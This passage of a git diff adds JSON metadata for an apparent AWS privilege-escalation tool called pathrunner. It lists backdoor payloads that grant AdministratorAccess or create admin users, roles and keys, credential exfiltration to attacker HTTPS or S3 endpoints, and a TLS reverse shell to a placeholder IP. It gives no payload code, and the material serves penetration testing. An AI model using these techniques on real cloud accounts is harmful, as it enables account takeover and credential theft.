+      "description": "Attach a policy to an IAM user or role via SSM Automation Python step",
+      "slug": "ssm-backdoor-attach-policy",
+      "qualifiedName": "ssm:backdoor/attach-policy",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an IAM user via SSM Automation Python step",
+      "slug": "ssm-backdoor-create-access-key",
+      "qualifiedName": "ssm:backdoor/create-access-key",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges via SSM Automation Python step",
+      "slug": "ssm-backdoor-create-role",
+      "qualifiedName": "ssm:backdoor/create-role",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges via SSM Automation Python step",
+      "slug": "ssm-backdoor-create-user",
+      "qualifiedName": "ssm:backdoor/create-user",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an IAM role via SSM Automation Python step",
+      "slug": "ssm-backdoor-update-role-trust",
+      "qualifiedName": "ssm:backdoor/update-role-trust",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ssm-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ssm-003",
+  "gifs": [
+    {
+      "name": "ssm-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/sts-001.json b/docs/pathrunner/data/modules/sts-001.json
new file mode 100644
index 00000000..aa869f0a
--- /dev/null
+++ b/docs/pathrunner/data/modules/sts-001.json
@@ -0,0 +1,105 @@
+{
+  "id": "sts-001",
+  "name": "sts:AssumeRole",
+  "description": "Assume an IAM role using current credentials and switch to the new identity",
+  "category": "principal-access",
+  "services": [
+    "sts"
+  ],
+  "primaryService": "sts",
+  "aliases": [
+    "sts-assume-role",
+    "exploit/sts_assume_role"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/sts-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Target role ARN"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target role with trust policy allowing the calling principal"
+    ],
+    "lateral": [
+      "Principal with sts:AssumeRole on the target role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - sts-001",
+      "url": "https://pathfinding.cloud/paths/sts-001"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to assume",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "SESSION_NAME",
+      "description": "Session name for the assumed role",
+      "required": false,
+      "default": "pathrunner-session",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID if required by the role's trust policy",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "DURATION",
+      "description": "Session duration in seconds (900-43200, default 3600)",
+      "required": false,
+      "default": "3600"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "IDENTITY_NAME",
+      "description": "Name for the new identity (auto-generated if not provided)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after successful assumption",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use sts-001",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "sts-001",
+  "gifs": [
+    {
+      "name": "sts-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/apprunner-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/apprunner-backdoor-attach-policy.json
new file mode 100644
index 00000000..5aeccfb2
--- /dev/null
+++ b/docs/pathrunner/data/payloads/apprunner-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "apprunner:backdoor/attach-policy",
+  "service": "apprunner",
+  "description": "Attach AdministratorAccess policy to an IAM user or role via App Runner service StartCommand",
+  "tags": [
+    "apprunner",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach the policy to (auto-detects type from ARN; plain name is treated as a user)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (default: AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "apprunner-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/batch-backdoor-attach-policy.json
new file mode 100644
index 00000000..a3fe08c7
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-backdoor-attach-policy.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "batch:backdoor/attach-policy",
+  "service": "batch",
+  "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via Batch job container command",
+  "tags": [
+    "batch",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_PRINCIPAL",
+      "description": "IAM username or role name to attach the policy to (auto-resolved from caller identity if not set)",
+      "required": false
+    },
+    {
+      "name": "PRINCIPAL_TYPE",
+      "description": "Principal type: 'user' or 'role' (auto-resolved from caller identity if not set)",
+      "required": false,
+      "default": "user"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Managed policy ARN to attach",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "batch-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/batch-backdoor-create-access-key.json
new file mode 100644
index 00000000..8c7df495
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-backdoor-create-access-key.json
@@ -0,0 +1,20 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "batch:backdoor/create-access-key",
+  "service": "batch",
+  "description": "Create programmatic access keys for an IAM user via Batch job container command",
+  "tags": [
+    "batch",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "IAM username to create access keys for (auto-resolved from caller identity if not set; must be set explicitly if the caller is a role)",
+      "required": false,
+      "mockValue": "target-iam-user"
+    }
+  ],
+  "slug": "batch-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-backdoor-create-role.json b/docs/pathrunner/data/payloads/batch-backdoor-create-role.json
new file mode 100644
index 00000000..f2fbf08a
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-backdoor-create-role.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "batch:backdoor/create-role",
+  "service": "batch",
+  "description": "Create an IAM role with AdministratorAccess and a custom trust policy via Batch job (requires CONTAINER_RUNTIME=generic)",
+  "tags": [
+    "batch",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:user/name) or service (e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID condition for the trust policy",
+      "required": false,
+      "mockValue": "target-resource-id"
+    }
+  ],
+  "slug": "batch-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-backdoor-create-user.json b/docs/pathrunner/data/payloads/batch-backdoor-create-user.json
new file mode 100644
index 00000000..bb14c979
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-backdoor-create-user.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "batch:backdoor/create-user",
+  "service": "batch",
+  "description": "Create an IAM user with AdministratorAccess and optional console/programmatic access via Batch job (requires CONTAINER_RUNTIME=generic)",
+  "tags": [
+    "batch",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor IAM user (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONSOLE_ACCESS",
+      "description": "Create a console login profile with a random password (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "batch-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/batch-backdoor-update-role-trust.json
new file mode 100644
index 00000000..2e8cf0bd
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-backdoor-update-role-trust.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "batch:backdoor/update-role-trust",
+  "service": "batch",
+  "description": "Append a trust policy statement to an existing IAM role via Batch job (requires CONTAINER_RUNTIME=generic with jq)",
+  "tags": [
+    "batch",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role whose trust policy to modify",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "batch-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/batch-exfil-https.json b/docs/pathrunner/data/payloads/batch-exfil-https.json
new file mode 100644
index 00000000..d086607c
--- /dev/null
+++ b/docs/pathrunner/data/payloads/batch-exfil-https.json
@@ -0,0 +1,21 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "batch:exfil/https",
+  "service": "batch",
+  "description": "Exfiltrate Batch task role credentials to an attacker HTTPS endpoint; detects curl/wget/python at runtime (requires CONTAINER_RUNTIME=generic)",
+  "tags": [
+    "batch",
+    "bash",
+    "exfil",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Attacker-controlled HTTPS endpoint for credential collection (auto-populated by 'attacker listener start')",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    }
+  ],
+  "slug": "batch-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/bedrock-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/bedrock-backdoor-attach-policy.json
new file mode 100644
index 00000000..18bdab14
--- /dev/null
+++ b/docs/pathrunner/data/payloads/bedrock-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "bedrock:backdoor/attach-policy",
+  "service": "bedrock",
+  "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+  "tags": [
+    "bedrock",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach the policy to",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "bedrock-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/bedrock-exfil-mmds.json b/docs/pathrunner/data/payloads/bedrock-exfil-mmds.json
new file mode 100644
index 00000000..d6041829
--- /dev/null
+++ b/docs/pathrunner/data/payloads/bedrock-exfil-mmds.json
@@ -0,0 +1,13 @@
+{
+  "name": "exfil/mmds",
+  "qualifiedName": "bedrock:exfil/mmds",
+  "service": "bedrock",
+  "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+  "tags": [
+    "bedrock",
+    "python",
+    "exfil",
+    "response"
+  ],
+  "slug": "bedrock-exfil-mmds"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/braket-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/braket-backdoor-attach-policy.json
new file mode 100644
index 00000000..2ae87ae5
--- /dev/null
+++ b/docs/pathrunner/data/payloads/braket-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "braket:backdoor/attach-policy",
+  "service": "braket",
+  "description": "Attach AdministratorAccess policy to an existing IAM user or role via Braket Hybrid Job",
+  "tags": [
+    "braket",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach the policy to (auto-resolved from caller identity if unset)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "braket-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/cloudformation-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/cloudformation-backdoor-attach-policy.json
new file mode 100644
index 00000000..a323b5bd
--- /dev/null
+++ b/docs/pathrunner/data/payloads/cloudformation-backdoor-attach-policy.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "cloudformation:backdoor/attach-policy",
+  "service": "cloudformation",
+  "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+  "tags": [
+    "cloudformation",
+    "json",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the new IAM role to create in the template. Auto-generated if not set",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "IAM principal ARN to trust in the escalated role's trust policy. Defaults to current caller ARN",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "cloudformation-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/codebuild-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/codebuild-backdoor-attach-policy.json
new file mode 100644
index 00000000..a4825152
--- /dev/null
+++ b/docs/pathrunner/data/payloads/codebuild-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "codebuild:backdoor/attach-policy",
+  "service": "codebuild",
+  "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via CodeBuild buildspec",
+  "tags": [
+    "codebuild",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach the policy to (auto-resolved from caller identity if not set)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Managed policy ARN to attach",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "codebuild-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/ec2-backdoor-attach-policy.json
new file mode 100644
index 00000000..72f93642
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "ec2:backdoor/attach-policy",
+  "service": "ec2",
+  "description": "Attach AdministratorAccess policy to an IAM user or role via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of policy to attach (default: AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "ec2-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/ec2-backdoor-create-access-key.json
new file mode 100644
index 00000000..73f73737
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-backdoor-create-access-key.json
@@ -0,0 +1,20 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "ec2:backdoor/create-access-key",
+  "service": "ec2",
+  "description": "Create access keys for an existing IAM user via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user name or ARN to create access keys for (auto-detects from ARN)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "slug": "ec2-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-backdoor-create-role.json b/docs/pathrunner/data/payloads/ec2-backdoor-create-role.json
new file mode 100644
index 00000000..9849fdf8
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-backdoor-create-role.json
@@ -0,0 +1,38 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "ec2:backdoor/create-role",
+  "service": "ec2",
+  "description": "Create an IAM role with administrator privileges and custom trust policy via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:user/name) or service (e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID condition for the trust policy",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "ROLE_PATH",
+      "description": "IAM path for the role",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "ec2-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-backdoor-create-user.json b/docs/pathrunner/data/payloads/ec2-backdoor-create-user.json
new file mode 100644
index 00000000..5e7730ba
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-backdoor-create-user.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "ec2:backdoor/create-user",
+  "service": "ec2",
+  "description": "Create an IAM user with administrator privileges and optional console/programmatic access via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor user (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONSOLE_ACCESS",
+      "description": "Create a console login profile with a random password",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "ec2-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/ec2-backdoor-update-role-trust.json
new file mode 100644
index 00000000..56059aed
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-backdoor-update-role-trust.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "ec2:backdoor/update-role-trust",
+  "service": "ec2",
+  "description": "Append a trust policy statement to an existing IAM role via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role whose trust policy to modify",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "ec2-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-exfil-https.json b/docs/pathrunner/data/payloads/ec2-exfil-https.json
new file mode 100644
index 00000000..fe086cad
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-exfil-https.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "ec2:exfil/https",
+  "service": "ec2",
+  "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "exfil",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Target HTTPS URL for credential exfiltration",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    },
+    {
+      "name": "INCLUDE_METADATA",
+      "description": "Include additional instance metadata (hostname, region, etc.)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "USER_AGENT",
+      "description": "Custom User-Agent for HTTP requests",
+      "required": false,
+      "default": "AWS-EC2-Instance"
+    }
+  ],
+  "slug": "ec2-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-exfil-s3.json b/docs/pathrunner/data/payloads/ec2-exfil-s3.json
new file mode 100644
index 00000000..f7146992
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-exfil-s3.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/s3",
+  "qualifiedName": "ec2:exfil/s3",
+  "service": "ec2",
+  "description": "Exfiltrate EC2 instance role credentials to an attacker-controlled S3 bucket via user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "exfil",
+    "filesystem"
+  ],
+  "options": [
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket name for credential exfiltration",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_PREFIX",
+      "description": "S3 key prefix for exfiltrated data",
+      "required": false,
+      "default": "exfil/"
+    },
+    {
+      "name": "INCLUDE_METADATA",
+      "description": "Include instance metadata (hostname, region, etc.) in the exfiltrated payload",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "ec2-exfil-s3"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ec2-revshell-tls.json b/docs/pathrunner/data/payloads/ec2-revshell-tls.json
new file mode 100644
index 00000000..a71dc4c9
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ec2-revshell-tls.json
@@ -0,0 +1,39 @@
+{
+  "name": "revshell/tls",
+  "qualifiedName": "ec2:revshell/tls",
+  "service": "ec2",
+  "description": "Establish a TLS-encrypted reverse shell via EC2 user-data",
+  "tags": [
+    "ec2",
+    "bash",
+    "access",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "LISTENER_IP",
+      "description": "IP address of attacker's reverse shell listener",
+      "required": true,
+      "mockValue": "1.2.3.4"
+    },
+    {
+      "name": "LISTENER_PORT",
+      "description": "Port for reverse shell connection",
+      "required": false,
+      "default": "4444"
+    },
+    {
+      "name": "RETRY_COUNT",
+      "description": "Number of connection retry attempts",
+      "required": false,
+      "default": "3"
+    },
+    {
+      "name": "RETRY_DELAY",
+      "description": "Seconds between retry attempts",
+      "required": false,
+      "default": "5"
+    }
+  ],
+  "slug": "ec2-revshell-tls"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ecs-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/ecs-backdoor-attach-policy.json
new file mode 100644
index 00000000..f99bdc8e
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ecs-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "ecs:backdoor/attach-policy",
+  "service": "ecs",
+  "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+  "tags": [
+    "ecs",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of policy to attach (default: AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "ecs-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/emr-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/emr-backdoor-attach-policy.json
new file mode 100644
index 00000000..152da893
--- /dev/null
+++ b/docs/pathrunner/data/payloads/emr-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "emr:backdoor/attach-policy",
+  "service": "emr",
+  "description": "Attach AdministratorAccess policy to an IAM user or role via an EMR step command",
+  "tags": [
+    "emr",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "emr-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/gamelift-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/gamelift-backdoor-attach-policy.json
new file mode 100644
index 00000000..c562b576
--- /dev/null
+++ b/docs/pathrunner/data/payloads/gamelift-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "gamelift:backdoor/attach-policy",
+  "service": "gamelift",
+  "description": "Attach an IAM policy to a user or role via a GameLift game server process that reads SHARED_CREDENTIAL_FILE instance role credentials",
+  "tags": [
+    "gamelift",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-resolved from caller identity if not set)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the policy to attach (default: AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "gamelift-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/glue-backdoor-attach-policy.json
new file mode 100644
index 00000000..32c6e811
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "glue:backdoor/attach-policy",
+  "service": "glue",
+  "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
